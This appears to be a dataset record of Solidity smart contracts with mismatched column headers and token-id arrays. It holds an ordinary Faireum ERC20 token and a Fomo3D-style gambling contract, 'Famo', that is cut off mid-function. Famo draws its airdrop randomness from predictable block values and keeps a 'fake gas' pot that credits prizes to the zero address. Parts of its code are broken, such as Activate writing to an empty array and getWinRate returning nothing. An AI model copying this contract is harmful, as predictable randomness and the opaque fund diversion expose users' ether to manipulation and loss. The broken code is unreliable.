file_name
stringlengths
71
779k
comments
stringlengths
20
182k
code_string
stringlengths
20
36.9M
__index_level_0__
int64
0
17.2M
input_ids
list
attention_mask
list
labels
list
pragma solidity 0.4.25; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } contract AdminRole { using Roles for Roles.Role; event AdminAdded(address indexed account); event AdminRemoved(address indexed account); Roles.Role private _admins; constructor () internal { _addAdmin(msg.sender); } modifier onlyAdmin() { require(isAdmin(msg.sender)); _; } function isAdmin(address account) public view returns (bool) { return _admins.has(account); } function addAdmin(address account) public onlyAdmin { _addAdmin(account); } function renounceAdmin() public { _removeAdmin(msg.sender); } function _addAdmin(address account) internal { _admins.add(account); emit AdminAdded(account); } function _removeAdmin(address account) internal { _admins.remove(account); emit AdminRemoved(account); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @title TokenVault * @dev TokenVault is a token holder contract that will allow a * beneficiary to spend the tokens from some function of a specified ERC20 token */ contract TokenVault { // ERC20 token contract being held IERC20 public token; constructor(IERC20 _token) public { token = _token; } /** * @notice increase the allowance of the token contract * to the full amount of tokens held in this vault */ function fillUpAllowance() public { uint256 amount = token.balanceOf(this); require(amount > 0); token.approve(token, amount); } /** * @notice change the allowance for a specific spender */ function approve(address _spender, uint256 _tokensAmount) public { require(msg.sender == address(token)); token.approve(_spender, _tokensAmount); } } contract FaireumToken is ERC20, ERC20Detailed, AdminRole { using SafeMath for uint256; uint8 public constant DECIMALS = 18; /// Maximum tokens to be allocated (1.2 billion FAIRC) uint256 public constant INITIAL_SUPPLY = 1200000000 * 10**uint256(DECIMALS); /// This vault is used to keep the Faireum team, developers and advisors tokens TokenVault public teamAdvisorsTokensVault; /// This vault is used to keep the reward pool tokens TokenVault public rewardPoolTokensVault; /// This vault is used to keep the founders tokens TokenVault public foundersTokensVault; /// This vault is used to keep the tokens for marketing/partnership/airdrop TokenVault public marketingAirdropTokensVault; /// This vault is used to keep the tokens for sale TokenVault public saleTokensVault; /// The reference time point at which all token locks start // Mon Mar 11 2019 00:00:00 GMT+0000 The begining of Pre ICO uint256 public locksStartDate = 1552262400; mapping(address => uint256) public lockedHalfYearBalances; mapping(address => uint256) public lockedFullYearBalances; modifier timeLock(address from, uint256 value) { if (lockedHalfYearBalances[from] > 0 && now >= locksStartDate + 182 days) lockedHalfYearBalances[from] = 0; if (now < locksStartDate + 365 days) { uint256 unlocks = balanceOf(from).sub(lockedHalfYearBalances[from]).sub(lockedFullYearBalances[from]); require(value <= unlocks); } else if (lockedFullYearBalances[from] > 0) lockedFullYearBalances[from] = 0; _; } constructor () public ERC20Detailed("Faireum Token", "FAIRC", DECIMALS) { } /// @dev function to lock reward pool tokens function lockRewardPoolTokens(address _beneficiary, uint256 _tokensAmount) public onlyAdmin { _lockTokens(address(rewardPoolTokensVault), false, _beneficiary, _tokensAmount); } /// @dev function to lock founders tokens function lockFoundersTokens(address _beneficiary, uint256 _tokensAmount) public onlyAdmin { _lockTokens(address(foundersTokensVault), false, _beneficiary, _tokensAmount); } /// @dev function to lock team/devs/advisors tokens function lockTeamTokens(address _beneficiary, uint256 _tokensAmount) public onlyAdmin { require(_tokensAmount.mod(2) == 0); uint256 _half = _tokensAmount.div(2); _lockTokens(address(teamAdvisorsTokensVault), false, _beneficiary, _half); _lockTokens(address(teamAdvisorsTokensVault), true, _beneficiary, _half); } /// @dev check the locked balance for an address function lockedBalanceOf(address _owner) public view returns (uint256) { return lockedFullYearBalances[_owner].add(lockedHalfYearBalances[_owner]); } /// @dev change the allowance for an ICO sale service provider function approveSaleSpender(address _spender, uint256 _tokensAmount) public onlyAdmin { saleTokensVault.approve(_spender, _tokensAmount); } /// @dev change the allowance for an ICO marketing service provider function approveMarketingSpender(address _spender, uint256 _tokensAmount) public onlyAdmin { marketingAirdropTokensVault.approve(_spender, _tokensAmount); } function transferFrom(address from, address to, uint256 value) public timeLock(from, value) returns (bool) { return super.transferFrom(from, to, value); } function transfer(address to, uint256 value) public timeLock(msg.sender, value) returns (bool) { return super.transfer(to, value); } function burn(uint256 value) public { _burn(msg.sender, value); } function createTokensVaults() external onlyAdmin { require(teamAdvisorsTokensVault == address(0)); require(rewardPoolTokensVault == address(0)); require(foundersTokensVault == address(0)); require(marketingAirdropTokensVault == address(0)); require(saleTokensVault == address(0)); // Team, devs and advisors tokens - 120M FAIRC (10%) teamAdvisorsTokensVault = createTokenVault(120000000 * (10 ** uint256(DECIMALS))); // Reward funding pool tokens - 240M FAIRC (20%) rewardPoolTokensVault = createTokenVault(240000000 * (10 ** uint256(DECIMALS))); // Founders tokens - 60M FAIRC (5%) foundersTokensVault = createTokenVault(60000000 * (10 ** uint256(DECIMALS))); // Marketing/partnership/airdrop tokens - 120M FAIRC (10%) marketingAirdropTokensVault = createTokenVault(120000000 * (10 ** uint256(DECIMALS))); // Sale tokens - 660M FAIRC (55%) saleTokensVault = createTokenVault(660000000 * (10 ** uint256(DECIMALS))); require(totalSupply() == INITIAL_SUPPLY); } /// @dev Admin-only function to recover any tokens mistakenly sent to this contract function recoverERC20Tokens(address _contractAddress) external onlyAdmin { IERC20 erc20Token = IERC20(_contractAddress); if (erc20Token.balanceOf(address(this)) > 0) { require(erc20Token.transfer(msg.sender, erc20Token.balanceOf(address(this)))); } } /// @dev Create a TokenVault, fill with newly minted tokens and /// allow them to be spent only from the token contract function createTokenVault(uint256 tokens) internal returns (TokenVault) { TokenVault tokenVault = new TokenVault(ERC20(this)); _mint(address(tokenVault), tokens); tokenVault.fillUpAllowance(); return tokenVault; } /// @dev generic function to lock tokens from a vault function _lockTokens(address _fromVault, bool _halfYear, address _beneficiary, uint256 _tokensAmount) internal { require(_beneficiary != address(0)); if (_halfYear) { lockedHalfYearBalances[_beneficiary] = lockedHalfYearBalances[_beneficiary].add(_tokensAmount); } else { lockedFullYearBalances[_beneficiary] = lockedFullYearBalances[_beneficiary].add(_tokensAmount); } require(this.transferFrom(_fromVault, _beneficiary, _tokensAmount)); } }
@dev Admin-only function to recover any tokens mistakenly sent to this contract
function recoverERC20Tokens(address _contractAddress) external onlyAdmin { IERC20 erc20Token = IERC20(_contractAddress); if (erc20Token.balanceOf(address(this)) > 0) { require(erc20Token.transfer(msg.sender, erc20Token.balanceOf(address(this)))); } }
12,779,099
[ 1, 4446, 17, 3700, 445, 358, 5910, 1281, 2430, 27228, 7940, 715, 3271, 358, 333, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 5910, 654, 39, 3462, 5157, 12, 2867, 389, 16351, 1887, 13, 3903, 1338, 4446, 225, 288, 203, 3639, 467, 654, 39, 3462, 6445, 71, 3462, 1345, 273, 467, 654, 39, 3462, 24899, 16351, 1887, 1769, 203, 3639, 309, 261, 12610, 3462, 1345, 18, 12296, 951, 12, 2867, 12, 2211, 3719, 405, 374, 13, 288, 203, 5411, 2583, 12, 12610, 3462, 1345, 18, 13866, 12, 3576, 18, 15330, 16, 6445, 71, 3462, 1345, 18, 12296, 951, 12, 2867, 12, 2211, 3719, 10019, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, "SafeMath mul failed"); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath sub failed"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "SafeMath add failed"); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } } library FMDDCalcLong { using SafeMath for *; /** * @dev calculates number of keys received given X eth * @param _curEth current amount of eth in contract * @param _newEth eth being spent * @return amount of ticket purchased */ function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } /** * @dev calculates amount of eth received if you sold X keys * @param _curKeys current amount of keys that exist * @param _sellKeys amount of keys you wish to sell * @return amount of eth received */ function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } /** * @dev calculates how many keys would exist with given an amount of eth * @param _eth eth "in contract" * @return number of keys that would exist */ function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } /** * @dev calculates how much eth would be in contract given a number of keys * @param _keys number of keys "in contract" * @return eth that would exists */ function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } contract Famo{ using SafeMath for uint256; using FMDDCalcLong for uint256; uint256 iCommunityPot; struct WinPerson { address plyr; uint256 iLastKeyNum; uint256 index; } struct Round{ uint256 iKeyNum; uint256 iVault; uint256 iMask; WinPerson[15] winerList; uint256 iGameStartTime; uint256 iGameEndTime; uint256 iSharePot; uint256 iSumPayable; bool bIsGameEnded; } struct PlyRound{ uint256 iKeyNum; uint256 iMask; } struct Player{ uint256 gen; uint256 affGen; uint256 iLastRoundId; uint256 affCodeSelf; uint256 affCode; mapping (uint256=>PlyRound) roundMap; } struct SeedMember { uint256 f; uint256 iMask; } event evtBuyKey( uint256 iRoundId,address buyerAddress,uint256 iSpeedEth,uint256 iBuyNum ); event evtAirDrop( address addr,uint256 _airDropAmt ); event evtFirDrop( address addr,uint256 _airDropAmt ); event evtGameRoundStart( uint256 iRoundId, uint256 iStartTime,uint256 iEndTime,uint256 iSharePot ); string constant public name = "Chaojikuanggong game"; string constant public symbol = "CJKG"; uint256 constant public decimal = 1000000000000000000; bool iActivated = false; bool iPrepared = false; bool iOver = false; uint256 iTimeInterval; uint256 iAddTime; uint256 addTracker_; uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop uint256 public airDropPot_ = 0; // fake gas uint256 public airFropTracker_ = 0; uint256 public airFropPot_ = 0; uint256 plyid_ = 10000; uint256 constant public seedMemberValue_ = 5000000000000000000; uint256[9] affRate = [uint256(15),uint256(2),uint256(2),uint256(2),uint256(2),uint256(2),uint256(2),uint256(2),uint256(1)]; mapping (address => Player) plyMap; mapping (uint256 => address) affMap; mapping (address => uint256) seedBuy; mapping (address => SeedMember) seedMap; Round []roundList; address creator; address comor; uint256 operatorGen; uint256 comorGen; uint256 specGen; uint256 public winCount; constructor( uint256 _iTimeInterval,uint256 _iAddTime,uint256 _addTracker, address com) public{ assert( _iTimeInterval > 0 ); assert( _iAddTime > 0 ); iTimeInterval = _iTimeInterval; iAddTime = _iAddTime; addTracker_ = _addTracker; iActivated = false; creator = msg.sender; comor = com; } function CheckActivate() public view returns ( bool ) { return iActivated; } function CheckPrepare() public view returns ( bool ) { return iPrepared; } function CheckOver() public view returns ( bool ) { return iOver; } function Activate() public { require(msg.sender == creator, "only creator can activate"); // can only be ran once require(iActivated == false, "fomo3d already activated"); // activate the contract iActivated = true; iPrepared = false; // lets start first round // roundList.length ++; uint256 iCurRdIdx = 0; roundList[iCurRdIdx].iGameStartTime = now; roundList[iCurRdIdx].iGameEndTime = now + iTimeInterval; roundList[iCurRdIdx].bIsGameEnded = false; } function GetCurRoundInfo()constant public returns ( uint256 iCurRdId, uint256 iRoundStartTime, uint256 iRoundEndTime, uint256 iKeyNum, uint256 , uint256 iPot, uint256 iSumPayable, uint256 iGenSum, uint256 iAirPotParam, uint256 iShareSum ){ assert( roundList.length > 0 ); uint256 idx = roundList.length - 1; return ( roundList.length, // 0 roundList[idx].iGameStartTime, // 1 roundList[idx].iGameEndTime, // 2 roundList[idx].iKeyNum, // 3 0,// , // 4 roundList[idx].iSharePot, // 5 roundList[idx].iSumPayable, // 6 roundList[idx].iMask, // 7 airDropTracker_ + (airDropPot_ * 1000), //8 (roundList[idx].iSumPayable*67)/100 ); } // key num function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = roundList.length - 1; // grab time uint256 _now = now; _keys = _keys.mul(decimal); // are we in a round? if (_now > roundList[_rID].iGameStartTime && _now <= roundList[_rID].iGameEndTime) return (roundList[_rID].iKeyNum.add(_keys)).ethRec(_keys); else // rounds over. need price for new round return ( (_keys).eth() ); } /** * @dev sets boundaries for incoming tx */ modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } modifier IsActivate() { require(iActivated == true, "its not ready yet. check ?eta in discord"); _; } modifier CheckAffcode(uint256 addcode) { require(affMap[addcode] != 0x0, "need valid affcode"); _; } modifier OnlySeedMember(address addr) { require(seedMap[addr].f != 0, "only seed member"); _; } modifier NotSeedMember(address addr) { require(seedMap[addr].f == 0, "not for seed member"); _; } modifier NotOver() { require(iOver == false, "is over"); _; } function IsSeedMember(address addr) view public returns(bool) { if (seedMap[addr].f == 0) return (false); else return (true); } function () isWithinLimits(msg.value) NotSeedMember(msg.sender) IsActivate() NotOver() public payable { // RoundEnd require(plyMap[msg.sender].affCode != 0, "need valid affcode"); uint256 iCurRdIdx = roundList.length - 1; address _pID = msg.sender; BuyCore( _pID,iCurRdIdx, msg.value ); } function AddSeed(address[] seeds) public { require(msg.sender == creator,"only creator"); for (uint256 i = 0; i < seeds.length; i++) { if (i == 0) seedMap[seeds[i]].f = 1; else seedMap[seeds[i]].f = 2; } } function BuyTicket( uint256 affcode ) isWithinLimits(msg.value) CheckAffcode(affcode) NotSeedMember(msg.sender) IsActivate() NotOver() public payable { // RoundEnd uint256 iCurRdIdx = roundList.length - 1; address _pID = msg.sender; // if player is new to round if ( plyMap[_pID].roundMap[iCurRdIdx+1].iKeyNum == 0 ){ managePlayer( _pID, affcode); } BuyCore( _pID,iCurRdIdx,msg.value ); } function BuyTicketUseVault(uint256 affcode,uint256 useVault ) isWithinLimits(useVault) CheckAffcode(affcode) NotSeedMember(msg.sender) IsActivate() NotOver() public{ // RoundEnd uint256 iCurRdIdx = roundList.length - 1; address _pID = msg.sender; // if player is new to round if ( plyMap[_pID].roundMap[iCurRdIdx+1].iKeyNum == 0 ){ managePlayer( _pID, affcode); } updateGenVault(_pID, plyMap[_pID].iLastRoundId); uint256 val = plyMap[_pID].gen.add(plyMap[_pID].affGen); assert( val >= useVault ); if( plyMap[_pID].gen >= useVault ){ plyMap[_pID].gen = plyMap[_pID].gen.sub(useVault); }else{ plyMap[_pID].gen = 0; plyMap[_pID].affGen = val.sub(useVault); } BuyCore( _pID,iCurRdIdx,useVault ); return; } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function getWinRate(address _pID) view public returns(uint256 onwKeyCount, uint256 totalKeyCount) { uint256 iCurRdIdx = roundList.length - 1; uint256 totalKey; uint256 keys; for (uint256 i = 0; i < 15; i++) { if (roundList[iCurRdIdx].winerList[i].plyr == _pID) { keys = roundList[iCurRdIdx].winerList[i].iLastKeyNum; } totalKey += roundList[iCurRdIdx].winerList[i].iLastKeyNum; } // return (keys, totalKey); } function calcUnMaskedEarnings(address _pID, uint256 _rIDlast) view public returns(uint256) { return(((roundList[_rIDlast-1].iMask).mul((plyMap[_pID].roundMap[_rIDlast].iKeyNum)) / (decimal)).sub(plyMap[_pID].roundMap[_rIDlast].iMask) ); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function DoAirDrop( address _pID, uint256 _eth ) private { airDropTracker_ = airDropTracker_.add(addTracker_); airFropTracker_ = airDropTracker_; airFropPot_ = airDropPot_; address _pZero = address(0x0); plyMap[_pZero].gen = plyMap[_pID].gen; uint256 _prize; if (airdrop() == true) { if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyMap[_pID].gen = (plyMap[_pID].gen).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyMap[_pID].gen = (plyMap[_pID].gen).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyMap[_pID].gen = (plyMap[_pID].gen).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); } // event emit evtAirDrop( _pID,_prize ); airDropTracker_ = 0; }else{ if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airFropPot_).mul(75)) / 100; plyMap[_pZero].gen = (plyMap[_pZero].gen).add(_prize); // adjust airDropPot airFropPot_ = (airFropPot_).sub(_prize); } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airFropPot_).mul(50)) / 100; plyMap[_pZero].gen = (plyMap[_pZero].gen).add(_prize); // adjust airDropPot airFropPot_ = (airFropPot_).sub(_prize); } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airFropPot_).mul(25)) / 100; plyMap[_pZero].gen = (plyMap[_pZero].gen).add(_prize); // adjust airDropPot airFropPot_ = (airFropPot_).sub(_prize); } // event emit evtFirDrop( _pID,_prize ); airFropTracker_ = 0; } } function managePlayer( address _pID, uint256 affcode ) private { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyMap[_pID].iLastRoundId != roundList.length && plyMap[_pID].iLastRoundId != 0){ updateGenVault(_pID, plyMap[_pID].iLastRoundId); } // update player's last round played plyMap[_pID].iLastRoundId = roundList.length; // plyMap[_pID].affCode = affcode; plyMap[_pID].affCodeSelf = plyid_; affMap[plyid_] = _pID; plyid_ = plyid_.add(1); // return; } function WithDraw() public { if (IsSeedMember(msg.sender)) { require(SeedMemberCanDraw() == true, "seed value not enough"); } // setup local rID uint256 _rID = roundList.length - 1; // grab time uint256 _now = now; // fetch player ID address _pID = msg.sender; // setup temp var for player eth uint256 _eth; if (IsSeedMember(msg.sender)) { require(plyMap[_pID].roundMap[_rID+1].iKeyNum >= seedMemberValue_, "seedMemberValue not enough"); _eth = withdrawEarnings(_pID); // if (seedMap[_pID].f == 1) { _eth = _eth.add(specGen); specGen = 0; } // uint256 op = operatorGen / 15 - seedMap[_pID].iMask; seedMap[_pID].iMask = operatorGen / 15; if (op > 0) _eth = _eth.add(op); if (_eth > 0) _pID.transfer(_eth); return; } // check to see if round has ended and no one has run round end yet if (_now > roundList[_rID].iGameEndTime && roundList[_rID].bIsGameEnded == false) { // end the round (distributes pot) roundList[_rID].bIsGameEnded = true; RoundEnd(); // get their earnings _eth = withdrawEarnings(_pID); // gib moni if (_eth > 0) _pID.transfer(_eth); // fire withdraw and distribute event // in any other situation } else { // get their earnings _eth = withdrawEarnings(_pID); // gib moni if ( _eth > 0 ) _pID.transfer(_eth); // fire withdraw event // emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function getAdminInfo() view public returns ( bool, uint256,address ){ return ( iActivated, 